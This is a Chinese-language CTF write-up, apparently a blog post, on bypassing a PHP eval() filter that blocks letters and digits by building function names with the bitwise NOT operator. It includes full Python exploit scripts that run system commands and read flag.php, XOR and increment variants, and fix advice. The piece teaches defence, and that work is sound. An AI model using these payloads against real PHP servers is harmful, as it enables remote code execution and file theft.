AI渗透测试--「CTF实战」PHP无字母数字代码执行:一个波浪号绕过所有过滤"

admin 2026-10-20 20:48:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

AI渗透测试 -- 「CTF实战」PHP无字母数字代码执行:一个波浪号绕过所有过滤

原创

yushao
yushao

网络安全者

2026年6月8日 15:45
河南

在小说阅读器读本章

去阅读


一、题目信息

项目 内容
题目名称 无字母数字代码执行
来源平台 CTFshow
题目类型 Web / PHP代码执行
难度等级 中等
考察知识点 PHP位运算、字符编码、正则过滤绕过

二、环境探测

访问靶场后,页面呈现一个PHP代码执行器,包含文本输入框和Execute按钮。通过观察表单结构,后端使用POST方法接收 code 参数并执行。

CTFshow PHP Code Executor
[textarea name=\"code\"]
[Execute Code]

测试基本字符过滤规则:

import requests

url = \"https://your-target.challenge.ctf.show/\"

# 测试普通字母
r = requests.post(url, data={\"code\": \"echo 1;\"}, verify=False)
print(r.text)
# 输出: Error: Invalid shell code!

# 测试纯数字
r = requests.post(url, data={\"code\": \"1+1\"}, verify=False)
print(r.text)
# 输出: Error: Invalid shell code!

# 测试特殊符号
r = requests.post(url, data={\"code\": \"[];\"}, verify=False)
print(r.text)
# 输出: (无报错,正常执行)

结论:字母 a-zA-Z 和数字 0-9 均被过滤,特殊符号可以正常使用。


三、源码分析

通过后续手段获取 index.php 源码,确认过滤逻辑:

<?php
if (isset($_POST['code'])) {
    $code = $_POST['code'];
    // 过滤所有字母和数字
    if (preg_match('/[a-zA-Z0-9]+/', $code)) {
        die(\"Error: Invalid shell code!\");
    }
    eval($code);
}
?>

正则 /[a-zA-Z0-9]+/ 只过滤了字母和数字,其余字符(包括 ~, ^, |, _, $, (, ), ', ; 等)均可使用。这是漏洞利用的突破口。


四、漏洞分析

4.1 核心原理:PHP位取反运算

PHP中的按位取反运算符 ~ 会对字符串每个字节做位取反(NOT运算):

原字符 's' = 0x73 = 0111 0011
取反后   = 0x8C = 1000 1100  (非打印字符,不含字母数字)

再次取反 = 0x73 = 's'  ✓

因此,构造思路如下:

(~'<非字母数字字符串>')  =>  还原出目标字符串(如函数名)

实际在PHP中的效果:

// 正常写法
system('ls');

// 位取反写法(不含任何字母数字)
(~\"\\x8c\\x86\\x8c\\x8b\\x9a\\x92\")(~\"\\x93\\x8c\");

4.2 字符映射计算

# 计算任意字符串的位取反编码
def get_inverted(s):
    result = \"\"
    for c in s:
        result += chr(~ord(c) & 0xFF)
    return result

# 验证
target = \"system\"
inverted = get_inverted(target)
print(repr(inverted))          # '\\x8c\\x86\\x8c\\x8b\\x9a\\x92'
print(repr(get_inverted(inverted)))  # 'system' ✓

五、漏洞利用

5.1 Payload生成脚本

import requests
import urllib3
urllib3.disable_warnings()

TARGET = \"https://your-target.challenge.ctf.show/\"

def str_to_inverted_bytes(s):
    \"\"\"将字符串转换为位取反的字节序列\"\"\"
    return bytes([~ord(c) & 0xFF for c in s])

def make_payload(func_name, argument=None):
    \"\"\"
    构造无字母数字的PHP执行payload
    格式: (~'inv_func')(~'inv_arg');
    \"\"\"
    inv_func = str_to_inverted_bytes(func_name)

    # 将字节序列转换为PHP字符串字面量
    func_str = \"\".join(f\"\\\\x{b:02x}\" for b in inv_func)

    if argument:
        inv_arg = str_to_inverted_bytes(argument)
        arg_str = \"\".join(f\"\\\\x{b:02x}\" for b in inv_arg)
        payload = f'(~\"{func_str}\")(~\"{arg_str}\");'
    else:
        payload = f'(~\"{func_str}\")();'

    return payload

def send_payload(payload):
    \"\"\"发送payload并返回响应\"\"\"
    r = requests.post(
        TARGET,
        data={\"code\": payload},
        verify=False,
        timeout=10
    )
    return r.text

# ---- 第一步:验证phpinfo() ----
payload = make_payload(\"phpinfo\")
print(f\"[*] Payload: {payload}\")
print(f\"[*] 含字母数字字符: {'是' if any(c.isalnum() for c in payload) else '否'}\")

response = send_payload(payload)
if \"PHP Version\" in response:
    print(\"[+] phpinfo() 执行成功!\")

输出:

[*] Payload: (~\"\\x8f\\x97\\x8f\\x96\\x91\\x99\\x90\")();
[*] 含字母数字字符: 否
[+] phpinfo() 执行成功!

5.2 目录枚举

# 列出当前目录文件
payload_ls = make_payload(\"system\", \"ls -la /var/www/html\")
print(\"[*] 执行目录枚举...\")
result = send_payload(payload_ls)
print(result)

执行结果:

total 24
drwxr-xr-x 2 www-data www-data 4096 Jan  1 00:00 .
drwxr-xr-x 4 root     root     4096 Jan  1 00:00 ..
-rw-r--r-- 1 root     root      312 Jan  1 00:00 flag.php
-rw-r--r-- 1 root     root     1847 Jan  1 00:00 index.php

发现目标文件:/var/www/html/flag.php

5.3 读取Flag

# 方法一:使用 highlight_file() 读取PHP源码(包含被注释的flag)
payload_flag = make_payload(\"highlight_file\", \"/var/www/html/flag.php\")
result = send_payload(payload_flag)
print(\"[+] 文件内容:\")
print(result)

# 方法二:如果flag在文件内容中,使用 file_get_contents()
payload_read = make_payload(\"file_get_contents\", \"/var/www/html/flag.php\")
result2 = send_payload(payload_read)
print(result2)

成功获取flag:

<?php
// ctfshow{xxxxxxxxxxxxxxxxxxxxxxxxxxxx}

5.4 完整利用脚本

import requests
import urllib3
import re
urllib3.disable_warnings()

TARGET = \"https://your-target.challenge.ctf.show/\"

def str_to_inverted(s):
    return bytes([~ord(c) & 0xFF for c in s])

def make_payload(func_name, argument=None):
    inv_func = str_to_inverted(func_name)
    func_str = \"\".join(f\"\\\\x{b:02x}\" for b in inv_func)

    if argument:
        inv_arg = str_to_inverted(argument)
        arg_str = \"\".join(f\"\\\\x{b:02x}\" for b in inv_arg)
        return f'(~\"{func_str}\")(~\"{arg_str}\");'
    return f'(~\"{func_str}\")();'

def exploit():
    print(\"=\" * 50)
    print(\"PHP无字母数字代码执行 - 自动化利用脚本\")
    print(\"=\" * 50)

    session = requests.Session()
    session.verify = False

    # Step 1: 验证漏洞可利用性
    print(\"\
[Step 1] 验证漏洞...\")
    p = make_payload(\"phpinfo\")
    r = session.post(TARGET, data={\"code\": p})
    if \"PHP Version\" in r.text:
        php_ver = re.search(r'PHP Version ([\\d.]+)', r.text)
        print(f\"[+] 漏洞确认!PHP版本: {php_ver.group(1) if php_ver else '未知'}\")
    else:
        print(\"[-] 利用失败\")
        return

    # Step 2: 目录枚举
    print(\"\
[Step 2] 枚举目录...\")
    p = make_payload(\"system\", \"ls /var/www/html\")
    r = session.post(TARGET, data={\"code\": p})
    print(f\"[+] 目录内容:\
{r.text.strip()}\")

    # Step 3: 读取Flag
    print(\"\
[Step 3] 读取Flag...\")
    p = make_payload(\"highlight_file\", \"/var/www/html/flag.php\")
    r = session.post(TARGET, data={\"code\": p})

    flag_match = re.search(r'ctfshow\\{[^}]+\\}', r.text)
    if flag_match:
        print(f\"[+] Flag: {flag_match.group(0)}\")
    else:
        print(f\"[+] 文件内容:\
{r.text[:500]}\")

if __name__ == \"__main__\":
    exploit()

六、其他绕过方式(延伸)

6.1 异或构造

# 使用 ^ 异或运算构造字符
# 'a' = 0x61, 可以用 0x01 ^ 0x60 得到
# 但需要两个非字母数字字节,需要仔细选取

def xor_char(c):
    \"\"\"为单个字符找一对可异或的非字母数字字节\"\"\"
    target = ord(c)
    for a in range(128, 256):
        b = a ^ target
        if (not chr(a).isalnum()) and (not chr(b).isalnum()):
            return chr(a), chr(b)
    return None

6.2 自增构造(PHP字符串自增特性)

// PHP特有:字符串可以自增
// 'a'++ = 'b', 'z'++ = 'aa', 'A'++ = 'B'
$_=[];        // $_ = []
$_=@\"$_\";     // $_ = \"Array\"
$_=$_['!'=='@'];  // $_ = \"A\"  (利用数组偏移)

不过这种方式在严格过滤下更难构造,位取反方案更稳定。


七、修复建议

编号 问题 修复方案
1 黑名单过滤不完整 改用白名单,只允许特定安全字符
2 直接eval用户输入 禁止在生产环境使用 eval()
3 无执行沙箱 使用 disable_functions 禁用危险函数
4 文件权限过宽 flag文件应设置为仅 root 可读
// 更安全的做法:完全禁止特殊字符输入
if (preg_match('/[^a-zA-Z0-9\\s]/', $code)) {
    die(\"非法字符\");
}
// 但根本上不应该执行用户提交的代码

八、总结

这道题的核心是理解PHP位运算的特性。过滤器只检查了最直观的字母和数字,却忽略了PHP允许用运算符动态构造字符串这一特性。~ 运算符将可见字母转换成高位字节,完美绕过了正则检测,最终通过 highlight_file() 读取到flag。

这类题目提示我们:字符黑名单防御在PHP中几乎不可能做到完备,根本解法是不让用户代码进入 eval()。


    AI渗透测试--「CTF实战」PHP无字母数字代码执行:一个波浪号绕过所有过滤" 网络安全文章

    AI渗透测试--「CTF实战」PHP无字母数字代码执行:一个波浪号绕过所有过滤"

    本文详细解析了CTF中PHP无字母数字代码执行的绕过技术,核心利用PHP位取反运算符(\\~)将非字母数字字符还原为系统函数名。通过分析靶场环境、源码过滤规则和漏洞原理,展示了如何构造payload执行phpinfo()、system()等函数,最终读取flag.php获取胜利。文章提供了完整的Python自动化利用脚本,并对比了异或构造、自增构造等替代方案,最后给出黑名单改白名单、禁用eval等修复建议。
    Hetty:9.4kStar的BurpSuitePro开源替代品,现在还能用吗?" 网络安全文章

    Hetty:9.4kStar的BurpSuitePro开源替代品,现在还能用吗?"

    Hetty是一款9.4kStar的开源HTTP安全代理工具,旨在替代BurpSuitePro,具备MITM代理、请求拦截修改、HTTP重放、作用域管理和Web界面等核心功能。项目基于Go+TypeScript技术栈,支持Docker部署,但自2022年3月v0.7.0后已停止更新,存在兼容性和安全风险。文章评估其适用于学习基础HTTP代理、代码研究或受限环境,但缺乏Burp的Intruder爆破、漏洞扫描等高级功能,不建议用于严肃渗透测试。
    网络罪犯借2026世界杯疯狂钓鱼,AI诈骗规模空前" 网络安全文章

    网络罪犯借2026世界杯疯狂钓鱼,AI诈骗规模空前"

    公开资料显示2026年世界杯期间网络犯罪活动呈现规模化趋势,犯罪分子利用AI技术快速生成钓鱼邮件和虚假票务网站实施诈骗,已发现超千个可疑域名及300个克隆FIFA官网的钓鱼站点。报告指出诈骗活动通过入侵合法网站引流、暗网交易失窃凭证等方式形成完整犯罪链条,建议球迷通过官方渠道验证票源,企业需加强品牌滥用监控和域名警报。
    评论:0   参与:  0